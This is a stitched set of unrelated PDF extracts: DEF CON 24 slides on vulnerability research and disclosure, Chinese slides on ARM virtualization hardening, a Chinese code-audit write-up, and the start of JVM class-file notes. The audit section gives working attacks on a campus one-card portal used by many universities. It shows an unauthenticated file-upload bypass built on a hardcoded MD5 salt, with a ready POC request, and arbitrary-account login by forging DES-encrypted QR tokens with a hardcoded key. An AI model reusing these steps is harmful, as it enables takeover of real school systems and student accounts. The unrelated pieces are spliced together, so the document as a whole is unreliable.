Josh
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
•
You can go deep or broad
– Language, vuln class, exploit technique, detection technique, ...
•
Anything you do that contributes to the body of knowledge is valuable
– Even negative results are useful! (though difficult to admit to)
•
Lots of “low-hanging fruit” out there
– Older code is more likely buggy
– Complex or overly complex systems are often ripe
– Large attack surface creates many opportunities
•
Software popularity matters
– Little-used software has lower quality but also lower impact to general public
– Popular software with extensive vulnerability history is often difficult
•
Too buggy means lower rewards or less recognition
– Sadly, they won’t get better without liberal application of effort
16
Selecting Your Target (1)
Josh + Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
•
Brand-new or emerging technologies (think Mobile, IoT, etc)
– Vendor rush-to-market usually means security is at best an afterthought
•
Newly-discovered or emerging vulnerability/attack classes
– Each new class should force a review of ALL products across the board
– Or, refine a new attack/vuln with new variations, stronger impacts, etc.
•
Previously-unanalyzed code
– Highly likely to contain lots of low-hanging fruit
– Some targets grow popular without getting proper review / fixes
– Some targets have been around forever but only recently connected to networks
(hello medical devices and automobiles!)
•
If you have access to expensive or difficult-to-obtain products: do eeeeeet
•
Follow what others are doing (“Pigpile” or “Bandwagon” Effect)
– Sometimes offends the original researcher(s)
– Benefit from a base level of published research
17
Selecting Your Target (2)
Josh + Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• Design review
• Threat modeling (e.g., STRIDE)
•
Dynamic vs. Static analysis - to run or not to run?
– Dynamic is analyzing a program by running it - e.g. fuzzing, debugging
– Static is purely inspection of program code - e.g. auditing, SCA tools
– Code coverage and accuracy (false/true positives) are important!
– Real power is achieved by combining: hybrid analysis FTW!
•
Code auditing (binary/source)
– Grep! Pedantic compiler settings! Automated taint checking!
•
Automated tools (fuzzers, static code analysis)
– Risk of false positives
– Lack of root cause analysis
18
Techniques and Tools
Josh
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
•
Using standards can make it easier to communicate critical vulnerability
information across broad groups of people, including consumers, vendors,
and others
– but haters do exist, and haters gonna hate...
•
CVE - Common Vulnerabilities and Exposures
– Numeric identifiers for tracking vulnerabilities
•
CWE - Common Weakness Enumeration
– Hierarchy of developer “mistakes” that lead to vulns
•
CAPEC - Common Attack Pattern Enumeration and Classification
– Common traits of attack methodologies
•
CVSS - numeric rating
– Pros: widely adopted, focused on key characteristics, provides consistency
– Cons: not as consistent as hoped, difficult to use in non-traditional contexts
19
Relevant Standards
Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• Models
– Full, Partial, Coordinated (formerly “Responsible”), Non-disclosure
•
Reasons for (public) disclosure
– To inform the parties responsible for fixing
– To put pressure on unresponsive vendors / get them to care
– To inform the masses that there’s a problem that needs attention
•
Standards Documents
– ISO standard 29147 (@k8em0, etc.) - focuses on what VENDORS should do
• Now freely available!
– IETF Draft circa 2002
– RFPolicy 2.0 circa 2000
20
Disclosure Models
Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
Every disclosure is a unique snowflake. Your disclosure policy
clarifies expectations between you and vendors!
• What if:
– You can’t even find the right contact point?
– 0-day exploitation is actively occurring?
– Somebody else publicizes your vuln(s) first?
– The vendor doesn’t respond?
• What is the correct grace period?
– Design flaws often take a LONG time to fix
21
Disclosure Policy Considerations (1)
Image: http://feelgrafix.com/group/snowflake.html
Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• Impact to consumers who…
– want to fix immediately
– can’t fix immediately
• Is the vendor acting in good faith?
• Will your actions...
–
make it harder for others to want to work with you in the future?
–
make it more difficult for people to hire you?
• “Is it worth it to disclose at all?”
Again, no one-size-fits-all; follow your moral compass
22
Disclosure Policy Considerations (2)
Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
Your advisory will be read by various people with different goals. Make
it count. Better coordination means a better final advisory.
•
Easily identifiable advisory structure
–
Well-labeled sections, different bugs in different segments, etc.
• Background / explanation of software
• Synopsis / abstract (brief)
• Affected software / hardware
– Vendor name, product name
– Vulnerable versions
• Newest fixed and non-fixed vulnerable versions
• Oldest vulnerable version
– Best effort as it can quickly become a complex situation
•
Vulnerability type(s)
23
Advisory Structure and Contents (1)
Josh
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
•
Privileges & access required to launch an attack
•
Impact of a successful attack
–
Privileges gained; unauthorized operations that can now be conducted; etc.
–
CVSS score, along with full vector
•
Detailed Description
–
Level of detail is one of those individual opinion things, but there
is a real risk to disseminating attacks
–
Include PoC (details on next slide)
–
Use your moral compass so you can sleep well at night
•
Patch availability, mitigations, workarounds
•
Key identifiers (CVE, vendor IDs, CERT IDs, etc.)
•
Disclosure timeline (discovery, notification, vendor reply, patch,
disclosure, etc.)
•
Credit to contributors
•
References to related work
24
Advisory Structure and Contents (2)
Josh
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
25
This key detail often tips the scales, so to speak. Consider including 1 or more:
•
Sequence of steps to reproduce, e.g. through the user interface
•
Detailed code analysis
–
Affected parameter or field
–
Name of affected function
–
Names of all files/executables involved (eg. login.php & authlib.php)
–
Source/assembly code extracts (or Pseudocode)
•
How does attacker input get to the vulnerable code?
•
Code version
•
Source line numbers / addresses
•
Trim unnecessary code for readability
•
Code that demonstrates impact
–
Harmless sample attack, e.g. calc.exe or alert(‘XSS’)
–
Functioning exploit code (snippet, full, or in between)
Proof-of-Concept Makes Your Case
Josh
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• Simpler is better
– Most widespread distribution; no special viewer required
– Complex formats mean fewer potential readers (due to higher
possibility of vulnerabilities)
• Think “plain text”. “Markdown” is a decent compromise.
– Easy to copy-and-paste key details (also, language translation)
• Please never, EVER PDF!
• If you’re going to make a video...
– Respect people’s time!
– Keep it short and sweet, and accompany it with a text advisory.
– A clear picture is essential
– Show reproduction steps
– Give the viewer enough time to read and understand each step
26
Advisory Formats - Pros and Cons
Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• There are many scenarios, each disclosure is a unique snowflake
– Inability to find right contact (who might not exist)
– Unless they’re very experienced, you’re calling their baby ugly
– Lack of understanding of the issue
– Legal threats
– Acknowledgement of receipt, followed by silence
– Corporate bureaucracy or politics preventing openness
– Refusal to share patches with you to re-test
– Lack of credits
– Commitment to a fix, but with an unreasonable timeline
– Disagreement on severity of the issue
– Release of patch without mentioning a vulnerability at all
27
What to Expect from Vendors
Josh
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
Please post your advisory to at least one source that is archived
forever (or archived widely)!
• Mailing lists: Bugtraq, Full-Disclosure, oss-security
• Exploit-DB or other exploit sites
• Vulnerability databases
• Your own blog or website
Then again, maybe you are okay with relying on vendor credits or
“hall of fame” -- no separate publication needed.
28
Where to Disclose Publicly
Josh
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• Testing live sites or networks without permission
• Interacting with a vendor in a way that seems like a threat or
blackmail
• Failing to ensure a problem exists
– E.g., trusting automated tool findings without verifying them
– Easy to declare a vulnerability exists, but harder to prove it
– Corollary: if you can’t exploit it, maybe somebody else can
• Not verifying whether the issue was already discovered
• Skipping root-cause analysis
– Often leads you to more interesting findings
• Suggesting poor workarounds (e.g., “uninstall software”)
• Over-hyping the severity of your findings
29
Common Mistakes to Avoid (1)
Josh + Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• Treating multiple attacks, or attack chains, as if they were
separate vulnerabilities, even when they originate from a
single vulnerability
– Decision point: “if an issue is fixed, are the other issues still a
problem?”
• Copying one of your old advisories to make a new advisory,
and forgetting to change all the data for the new vulnerability
– Start with an empty template!
• Relying too heavily on memes or cultural references
• Assuming developers are stupid and lazy
• Assuming customers can patch instantly
30
Common Mistakes to Avoid (2)
Josh + Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
Vulnerability Research Growth Stages
(just our take)
Newbie
Workhorse
Subject
Matter
Expert
“Elite”
●
Easy vulns
●
Easy attacks
●
Easy software
●
Sometimes
wrong
●
No clean
advisory format
●
Mult vulns
●
Mult vuln types
●
Simple
bypasses
●
Evolving
advisory format
●
Enhances
existing
techniques
●
Early adopter
●
White papers /
conf speaker
●
Root cause
analysis
●
Clear body of
work
●
Rarely wrong
●
New vuln classes
●
New attacks
●
New tools
●
New bypasses
●
Complex chains
●
Most popular/heavily-audited
software
●
Highly specialized
31
Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• Disclaimer! Everyone develops differently; this is just an
approximation
• Not everybody wants to be, can be, or needs to be elite
• Malcolm Gladwell’s Outliers says it takes about 10,000 hours of
focused practice to become an expert
– Varies based on aptitude and prior experience, e.g. developers pivoting
to security
• It can take 3 years or more before you build a reputation
• To progress further, you can:
– Team up with a peer
– Find a mentor
• Be polite and respectful of their time; accept that some will say “no”
• QUIZ: what happens when you’re an elite researcher who targets
software with low-hanging fruit? Ask @taviso ;-)
32
Growth and Development
(A Perspective)
Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• Vulnerability research is a trying
profession/hobby
• FAILZ are inevitable
• FEELZ are inevitable
– You're (probably) subject to trying to find
rationales and logic to explain away your feelz
• Hack/life balance is key
– But each person has a different balance
• You don't have to be elite to make a
difference
33
Feelz and Failz: Your “Objective,”
Technical Research is a Lie
Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
•
It's normal to:
–
Get frustrated
–
Give up (temporarily or permanently) and look for something else
–
“Waste” time on a promising theory that doesn’t work out
–
Let your pride & ego get in the way of communication or success
–
Believe you're an expert when you’re not
–
Feel you’re weak when others think you’re not
–
Be afraid your work isn’t worthwhile
–
Be unable to see yourself reaching the level of those you respect
–
Feel hurt or embarrassed by criticism from people you respect
•
Try to prevent your feelz from negatively affecting anyone…
–
Including yourself!
•
Try to temper your emotion and avoid premature celebration
34
FEELZ ARE OK
Josh and Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
•
Your research heroes and heroines, plumbers and rock stars, whoever they
are, probably:
– Failed privately, or before everybody cared about infosec
– Got “scooped” by bug collisions
– Were defeated by a technical barrier they couldn’t overcome
– Couldn’t understand somebody else’s findings
– Operated in a world where the “rules” weren't yet defined… but today those
rules aren't made explicit
– Over-hyped some findings
– Recovered, and forgot how they messed up
– Recovered, but won't admit how they messed up (see: ego)
– Might misrepresent accomplishments or how easy things were for them
•
Failz are not fatal! (usually; we are in the age of IoT, unfortunately)
35
FAILZ ARE OK
Josh and Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• May you fail fast, fail uniquely, and fail well!
• Everybody forges their own path, but others have
made the journey before
• Good luck and have fun!
Josh: @jduck
Steve: @sushidude
36
Conclusion
Image: wocintechchat.com
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
Backup Slides / Details
37
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• Easy-to-find vulnerabilities
• Easy-to-conduct, simplistic attacks
• One vulnerability type only
• Misses more important vulns
• Misses nearby issues
• Finds and discloses each bug, one at a time
• Limited to highly insecure, previously-unaudited software
• No “advisories” per se
• Sometimes wrong
Stage 1: Newbie
(Details)
38
Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• More comprehensive findings - multiple bugs per package
• Multiple types of well-understood vuln/attack classes
• Recognizes simplistic protection mechanisms e.g. blacklists
• Evolves a disclosure policy and approach to working with
vendors (or not)
• Evolving, stable advisory format
• Learns new techniques from others and applies them to own
work
• Ensures findings are new and references related work
39
Stage 2: Workhorse
(Details)
Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
•
Recognizes multiple audiences
•
Significant experience in one or more vuln or attack classes
•
Develops new enhancements for existing techniques
•
Writes white papers or speaks at conferences
•
Bypasses common protection mechanisms
•
Performs more comprehensive root cause analysis
•
Applies experience to previously-uninvestigated product classes
•
Creates a noticeable body of work
•
Extensive findings for any package audited
•
Experience with multiple techniques & methodologies
•
Able to find bugs in most packages
•
Detailed, well-written advisories with all relevant information
•
Rarely wrong (able to be trusted without verification)
40
Stage 3: Subject Matter Expert
(Details)
Steve
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• Hates that term (probably)
• Finds new vuln classes, invents new attack classes, makes
new tools
• Bypasses state-of-the-art protection mechanisms
• Anticipates industry-wide developments
• Is “elite” only for a particular specialty
–
NOBODY knows everything anymore
• Finds vulns in any software package, anywhere, anytime*
• Analyzes most popular, secure software
• Finds complex vulnerability chains
* as applied to their particular specialty
41
Stage 4: “Elite”
(Details)
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
Vulnerability Research Process (an
attempt…)
Discovery
Analysis
Reporting
Remediation
Finding security bugs by
applying various
techniques
●
Auditing
●
Fuzzing
●
Manual testing
●
etc.
Understanding the bugs
as much as possible
●
Reachability
●
Impact
●
Affected
product(s) and
version(s)
●
Minimize test
cases
●
Exploitability
Communicating your
research with vendors
(and potentially the
general public)
●
Drafting an
advisory
●
Notifying
affected parties
●
Coordinating
with vendors
●
Once
remediated,
notifying a wider
audience
42
Fixing the issues,
typically handled by the
receiving end (vendor).
●
Craft and
deploy a fix
●
Notifying
affected parties
●
Coordinating
with
researchers
Affected parties
●
Prioritize, test,
and apply
patches
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
•
Presentation
–
Andrew M. Hay - “Bootstrapping A Security Research Project”
•
https://speakerdeck.com/andrewsmhay/source-boston-2016-bootstrapping-a-security-research-project
–
Larry Cashdollar - “How to find 1,352 WordPress XSS plugin vulnerabilities in 1 hour (not really)”
•
http://www.wallofsheep.com/blogs/news/tagged/defcon#larry
–
Nick Jones / MWR Labs, “Bug Hunting with Static Code Analysis”
•
https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-bug-hunting-with-static-code-analysis-bsides-2016.pdf
•
Books
–
Dowd, McDonald, and Schuh: “The Art of Software Security Assessment: Identifying and Preventing
Software Vulnerabilities” (the code auditing bible!)
–
“Hacker’s Handbook” series, e.g. Drake, Lanier, Mulliner, Fora, Ridley, Wicherski: “Android
Hacker’s Handbook”
•
Documents
–
Phrack Magazine: http://www.phrack.org/
–
PoC||GTFO https://www.alchemistowl.org/pocorgtfo/
–
“Introduction to Vulnerability Theory” -
https://cwe.mitre.org/documents/vulnerability_theory/intro.html
43
References/Links: Research Process
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• This is far from exhaustive; there are dozens of
commercial and freeware software scanners
• Consider: $$$, false-positive rate,
false-negative rate, explanations, ...
• Kali Linux - many different tools
https://www.kali.org/
• Metasploit https://www.metasploit.com/
• Grep (yes, grep!)
44
References/Links: Tools
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• OWASP WebGoat
https://www.owasp.org/index.php/Category:OWASP
_WebGoat_Project
• NIST SAMATE test suites, e.g. Juliet and
STONESOUP
https://samate.nist.gov/SARD/testsuite.php
• CWE “Demonstrative Examples” for individual
entries https://cwe.mitre.org
• Intentionally vulnerable distros, e.g. Damn
Vulnerable Linux or https://www.vulnhub.com/
45
References/Links: Intentionally
Vulnerable Software
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• Kymberlee Price, “Writing Vulnerability Reports that Maximize
Your Bounty Payouts”
– https://youtu.be/zyp2DoBqaO0
• John Stauffacher, “Geekspeed’s Advice for Writing a Great
Vulnerability Report”
– https://blog.bugcrowd.com/advice-for-writing-a-great-vulnerability-repor
t/
• OSVDB “Researcher Security Advisory Writing Guidelines”
– https://blog.osvdb.org/2013/01/15/researcher-security-advisory-writing-g
uidelines
• CVRF (Common Vulnerability Reporting Framework)
– http://www.icasi.org/cvrf/
• Christey advisory format suggestion (2003)
– http://www.securityfocus.com/archive/1/344559
46
References/Links: Advisory & Disclosure
Advice
Vulnerabilities 101: How to Launch or Improve Your Vulnerability Research Game - DEF CON 24
• http://howdoireportavuln.com/
• http://attrition.org/errata/legal_threats/
• ISO 29147 vulnerability disclosure standard
http://www.iso.org/iso/catalogue_detail.htm?csnumber=45170
• Christey/Wysopal IETF draft
https://tools.ietf.org/html/draft-christey-wysopal-vuln-disclosu
re-00
• RFPolicy 2.0
https://dl.packetstormsecurity.net/papers/general/rfpolicy-2.0.t
xt
47
References/Links: Disclosure Processes | pdf |
KC n
陈愉鑫
第五代加固技术 ARM代码虚拟化保护技术
目录
CONTENTS
PART 01
Android 平台加固技术概述
PART 02
什么是虚拟机保护技术
PART 03
VYD 指令集设计
PART 04
VYD 虚拟机设计
PART 05
VYD 编译器设计
PART 06
ARM VM的问题
PART 00 个人简介
知乎: 无名侠
专栏:大话二进制安全
知道创宇 IA 实验室,Android 病毒分析
i春秋,特种行业逆向分析线下讲师
我们为什么要加固?
PART 01
A d
id 平台加固技术概述
1.保护核心代码,防止被逆向,泄密
2.防止营销作弊
3.防止代码被修改
4………
加固技术的发展历史
PART 01
A d
id 平台加固技术概述
第一代 自定义ClassLoader
第二代 核心封装到So库/方法抽取/反调试
第三代 ELF变形/Ollvm 混淆 /多进程保护
第四代 DEX虚拟化保护
第五代 ARM 虚拟化保护
PART 02
什么是虚拟化保护技术
Thumb 指令
ARM 指令
x86 指令
MIPS 指令
编译器
字节码
Mov R1,#2
Mov R2,#3
Add R0,R1,R2
编译
vMov R1,2
vMov R2,3
vMov R20,R1
vAdd R20,R2
vAdd R0,R20
VM
®
PART 02
什么是虚拟化保护技术
出自《加密与解密》
PART 02
什么是虚拟化保护技术
-
如何设计一个虚拟机?
-
用什么语言来开发虚拟机?
-
如何对编译后的ELF文件中指定函数进行虚拟化?
-
如何设计一个编译器?
添加程序头
表
写入VM解
释器代码
抽取虚拟化
函数ARM
代码
编译ARM
代码并写入
字节码到新
节表
在原函数代
码上插入
Vm调度入
口代码
PART 02
什么是虚拟化保护技术
几大模块:
VM 虚拟机核心
VM 编译器
VM 链接器
VM 各种stub
ARM 指令集的一些特性
PART 03
VYD 指令集设计
1.
长度不一,Thumb/Thumb-2 /ARM
2.
条件执行
3.
多级流水线,Pc指向问题
4.
多寄存器寻址
5.
移位寻址
PART 03
VYD指令集设计
寄存器结构
VYD寄存器
ARM 对应寄存器
用途
vR0-vR12
R0-R12
通用寄存器
vFp
R11
栈帧寄存器
vSP
R13
栈指针寄存器
vLR
R14
链接寄存器
vPC1
R15
ARM指令同步PC
vPC
/
VYD 指令同步寄存器
v16-v32
/
临时寄存器
Flags
/
标志寄存器
PART 03
VYD指令集设计
VYD 虚拟机的指令编码格式
PART 03
VYD指令集设计
VYD 虚拟机的指令编码格式
寻址支持方式
PART 03
VYD 指令集设计
1.
对寻址地址表达式进行编译
例如:
str fp, [sp, #-4]!
编译为:
vMov
r16,sp
vAdd
r16,-4
vStr
fp,[r16]
vMov
sp,r16
PART 03
VYD 指令集设计
标志寄存器与逻辑判断
B类跳转指令:
vJmp
cond,Offset/Rx
带条件的非B跳转指令 -> 编译 -> 多条VYD指令
moveq r0,r1 -> vJne
s
vMov r0,r1
s: xxxxx
PART 04
VYD虚拟机设计
VYD 指令解码与执行过程
取码
译码
验证
执行
VPC递增
Function: vm_get_ins
Function:vm_run
PART 04
VYD虚拟机设计
VYD 辅助解析指令
PART 04
VYD虚拟机设计
VYD 虚拟机对于寄存器的定义
PART 04
VYD虚拟机设计
VYD 虚拟机的指令OPCODE
Opcode 为enum自动生成
PART 04
VYD虚拟机设计
执行模型
1.Handler表
2.Switch
PART 04
VYD虚拟机设计
标志位的设置
PART 05
VYD 编译器设计
编译器工作流程:
1.反汇编ARM
2.生成中间代码
3.处理定位
4.生成opcode
PART 05
VYD 编译器设计
如何反汇编arm?
Capstone 跨平台开源反汇编引擎
Capstone 支持:
Arm, Arm64 (Armv8), M68K, Mips, PowerPC, Sparc, SystemZ, TMS320C64X, XCore& X86 (incl
ude X86_64)
提供了多种语言的编程接口:
Clojure, F#, Common Lisp, Visual
Basic, PHP, PowerShell, Haskell, Perl, Python, Ruby, C#, NodeJS, Java, GO, C++, OCaml, Lua,
Rust, Delphi, Free Pascal
https://github.com/aquynh/capstone
brew install capstone
sudo apt-get install libcapstone3
知乎文章:用Python玩玩反汇编
PART 05
VYD 编译器设计
Capstone的强大之处(反汇编 + 分析)
0x80001000:
bl
#0x80000fbc
op_count: 1
operands[0].type: IMM = 0x80000fbc
//////////////////////////////////////////////////////////////////////////////
0x80001004:
str
lr, [sp, #-4]!
op_count: 2
operands[0].type: REG = lr
operands[1].type: MEM
operands[1].mem.base: REG = sp
operands[1].mem.disp: 0xfffffffc
Write-back: True
//////////////////////////////////////////////////////////////////////////////
0x80001008:
andeq
r0, r0, r0
op_count: 3
operands[0].type: REG = r0
operands[1].type: REG = r0
operands[2].type: REG = r0
Code condition: 1
PART 05
VYD 编译器设计
编译成中间文本形式代码,便于调试
str fp, [sp, #-4]!
{"old asm": "0x0: str fp, [sp, #-4]!", "opcode": "!", "address": 0}
{"opcode": "vMov", "operands": [{"isReg": 1, "data": 16}, {"isReg": 1, "data": 13}]}
{"opcode": "vAdd", "operands": [{"isReg": 1, "data": 16}, {"isReg": 0, "value": -4}]}
{"opcode": "vMov", "operands": [{"isReg": 1, "data": 13}, {"isReg": 1, "data": 16}]}
{"opcode": "vStr", "operands": [{"isReg": 1, "data": 11}, {"isReg": 1, "data": 16}]}
PART 05
VYD 编译器设计
最后一步,处理偏移量,并编译为opcode
解析json数据,按照指令格式进行生成指令
PART 06
ARM VM的问题
进入虚拟机入口处理
1.保存上下文环境,同步至对应vm寄存器
2.重新分配运行堆栈
3.设置vm_run 参数
PART 06
ARM VM的问题
何时退出虚拟机?
Pc寄存器发生切换(切换范围不在vm内)
1.被虚拟化函数返回 (完全退出)
2.调用其它未虚拟化函数 (临时退出)
完全退出虚拟机:
1.恢复上下文,
2.切换原始堆栈
2.跳转回ARM or thumb 代码
临时退出:
1.恢复上下文
2.切换原始堆栈
3.设置Lr寄存器为vm stub
4.设置vm stub 返回vm 信息
PART 06
ARM VM的问题
VM 的“链接器”
0.识别需要VM的函数并提取代码数据
1.将代码数据送入编译器编译
2.设置Vm入口Stub
3.抽取vm 虚拟机elf的代码数据
4.嵌入目标elf中,修复重定位等各种细节
5.目标elf中添加opcode节表并映射
6……….
PART 06
ARM VM的问题
Vm加强方案 – 寄存器随机映射
r0
r1
r2
r3
r4
vr0
vr1
vr2
vr3
vr4
转换函数
PART 06
ARM VM的问题
VM 加强方案 – 字节码随机映射
动态生成一张map表
map<string,uint> opcodes;
vMov:xxxxx
Xxxx动态生成
THANK
YOU | pdf |
一次完整的代码审计
前言:
因为本人一直活跃于教育 SRC,所以本次针对的系统也是各大高校所使用的
系统。
系统名称: 某一卡通门户系统
正文:
0x01: NET 平台下的源码挖掘
个人非常喜欢针对于.NET 和 JAVA 平台所开发的程序做测试,相反,对
于 php 就是一窍不通了。。。。
在针对 NET 平台,因为大部分使用的都是 IIS 中间件,对大小写不敏感,
所以在生成字典的时候也会方便很多。
由于 NET 平台的特性,大部分程序的源代码都会打包成程序集,存储在根
目录下的 bin 目录。这导致了部分运维喜欢备份 bin 目录,且将备份过后的
文件存储于网站根目录下,若黑客使用事先准备好的字典,就可以轻而易举
的获取到源代码。
示例: 使用御剑批量扫描资产
得到的数据还是挺可观的,下载过后的文件可以直接使用 dnSpy 进行逆向,查看
源代码
0x02:.NET 代码审计之-
文件上传
在某个站点下获取到新中新一卡通的 bin 目录。使用 dnSpy 进行了逆向。
初步分析了两个文件,WebController 为主页的控制器。ManagerController
为管理页的控制器
两个页面的路由规则如下:
WebController: 控制器名/方法名
ManagerController: Manager/控制器名/方法名
一般的 Manager 控制器下面的都会有登录过滤,可以后面再看。
这里先看 WebController 下面的功能
有很多控制器,看命名方式,还是能确定不少功能的。
其实,在开始审计前,我都喜欢看一下 Filter 过滤器,里面的功能。
在过滤器中,有一个 SqlFitler
大概功能就是捕捉 get 和 post 请求里面的敏感参数。比如 单引号’
就会直接拦截。。。。,那么就没有必要去挖 SQL 了。虽然这里也可以绕过,但
是 SQL 注入太麻烦了。一般都喜欢放到最后再挖。
期 间 在 NoBaseController
控 制 器
下 面 发 现 了 一 处 文 件 上 传
操,upshallfile 方法中,定义了一处文件上传功能。具体展现在第 59 行,进行
了文件存储操作,期间并未进行任何文件类型效验操作。
流程分析:
方法中,第 5,6,7 行代码声明了三个字符类型的变量。该变量的值从 http
请求头的属性获取
text 变量获取请求头中的 path 属性,默认值为 “~/”。
text2 变量 获取请求头中的 sign 属性。
text3 变量获取请求头中的 time 属性。
第 10 行-17 行,判断 text2 是否为空。如果为空。返回签名失败。
第 18 行--27 行。进行了一个效验操作
时间类型变量 d 的值为
text3 变量转换成时间的内容。
时间类型变量 d2 的值为 当前时间转换成 yyyyMMddHHmmssff 格式的内容
那么这里可以得知: text3 的内容是由请求头中的 time 属性决定。 time 属性
传递内容必须为时间且为 yyyyMMddHHmmssff 格式。
第 20 行: 如果 当前时间 减去 传递进来的时间 大于 10
则返回签名超时
这里只需要大于 10 就可以。那么可以直接定义传入时间为 2099 年。这样就一直
可以使用。
第 28-38 行,则是对文件效验码的操作。
29 行中的 声明了一个 strMd 变量 其 值为 进行 md5 加密后的内容。
要加密的内容如下:
file.FileName (文件名称) :service.asmx
text : 由 http 请求头中的 path 属性决定
text3: 由 http 请求头中的 time 属性决定
Synjones 为进行 md5 加密所附带的 salt。
将以上内容加密后。与 text2 变量进行对比。如果不相等。那么返回签名校验
失败。
如果相等则进入 59 行的文件存储操作。
已知 text2 变量的内容由 http 请求头中的 sign 属性决定
那么只需要将定义好的内容进行加密然后赋值给 sign。就可以绕过了。
这里可以直接把 InterFaceMd5Helper.GetStrMd5 这个方法拖出来到本地调用
进行加密操作。
其中
第 59 行调用 text 变量。
也就是说 text 为文件存储路径。
那么构造加解密方法:
得到 Sign 的值。
构造 POC:
POST /NoBase/upshallfile HTTP/1.1
Content-Type:
multipart/form-data;
boundary="6e9cb0ae-23eb-49bf-92d6-16dcbb95bd8a"
time: 2099070800284040
sign: B041E90676E936521F2B967770314C56
path: ~/
0x02: 任意账户登录
在 LoginController 控制器 下面的 QrCodeLogin 方法中,其功能为扫码登
录。该功能最终效验不是传统的账号密码验证,而是账号加密过后的内容。当攻
击者掌握加密规则后,可构造参数结构,导致任意账户登录。
流程分析:
QrCodeLogin 方法下面的操作。要分为两个结构。
第一段结构:
第 1 行-44 行: 账户效验。
第 45 行-84 行: 将账户带入,请求终端查询。
这 里 要 注 意 : 45 行 以 后 的 操 作 就 不 再 由 程 序 接 管 了 。 具 体 可 以 看
GetTsmCommon 方法.
所以这里只分析 45 行之前的操作。
第 7 行实例化了一个对象。这个对象是空的。无任何内容。后面是用来存储
用户信息的。
第 10 行接收 POST 请求传递进来的参数 account 并将内容赋值给 text 变量
整个方法。只接收这一个参数。所以,只需要追踪哪里调用了 account 就可
以了。
第 11 行-17 行中进行了判空操作,如果 account 内容为空。则返回账号为空。
第 19 行-25 行进行了解密操作。如果解密失败则返回账户解密失败。
可以看到 第 18 行
string text2 = DesEncryptHelper.Decrypt(text);
进行了解密操作。追踪这个方法。
DesEncryptHelper 类中,包含了解密和加密的方法。所以后续可以直接拉
出来调用。
第 60 行中可以看到。
调用了 Decrypt 解密方法 并传递了一个 Key 为 SYNJONES 。
那么等会加密的时候。也需要带入这个 Key。
回到 QrCodeLogin 方法
第 26 行 - 33 行。
分别对解密后的内容进行了切片操作。
第 26 行: 以 “_” 为分隔符进行拆分。取第一个内容的值 赋值给 text3
第 30 行: 以 “_” 为分隔符进行拆分。取第二个内容的值 赋值给 value
第 34 行 :声明时间变量 d , 值为 转换成时间格式的变量 value 。
那么这里已知 value 是时间
第 35 行: 声明时间变量 d2 值为当前时间
第 36 行: d2-d
当前时间减去传入时间。如果大于 120,则返回超时。
若符合。则执行下面的操作。
第 45 行。将参数带入了 Jsonrequest 变量中。第 53 行进行了一次外部请求。
这里我不需要过多深入。因为下面的操作已经无法人为控制。这里只需要知
道,text3 的内容是账号。
且传入进去的账号必须存在。
那么最终加密的格式为
账号_时间
时间为:"yyyy-MM-dd
HH:mm:ss" 格式
将加解方法单独拖取出来调用。
构造加解密方法:
构造 POC:
POST /Login/QrCodeLogin HTTP/1.1
Host: *******
account=B7D7D43C8166BCB4540FF2464842485E3383D6CA04041C7F
成功登录 | pdf |
JVM字节码学习笔记——class ⽂件结构
0x01 前⾔
本系列学习笔记均来⾃《深⼊理解 JVM 字节码》(作者:张亚),本笔记仅⽤于个⼈学习知
识总结。
对于学习 java 安全、想了解 JVM 字节码的童鞋们强烈建议购买正版书去阅读。
0x02 class ⽂件结构
java 是跨平台的⼀门语⾔,但是 jvm 却不是跨平台的,但是不同平台的 JVM 帮我们屏蔽了差
异,通过 JVM 可以把源代码编译成和平台⽆关的字节码,这样我们的源代码就不⽤根据不同
平台编译成不同⼆进制是可执⾏⽂件了。这也是 java 字节码的意义所在。
class ⽂件由⼗部分组成,具体如下:
魔数(magic number)
版本号(minor&major version)
常量池(constant pool)
访问标记(access flag)
类索引(this class)
超类索引(super class)
接⼜表索引(interface)
字段表(field)
⽅法表(method)
属性表(attribute)
⼀句顺⼜溜可以帮助我们记忆
My Very Cute Animal Truns Savage In full Moon Areas.
我可爱的宠物会在⽉圆时变得暴躁。
1、魔数(magic number)
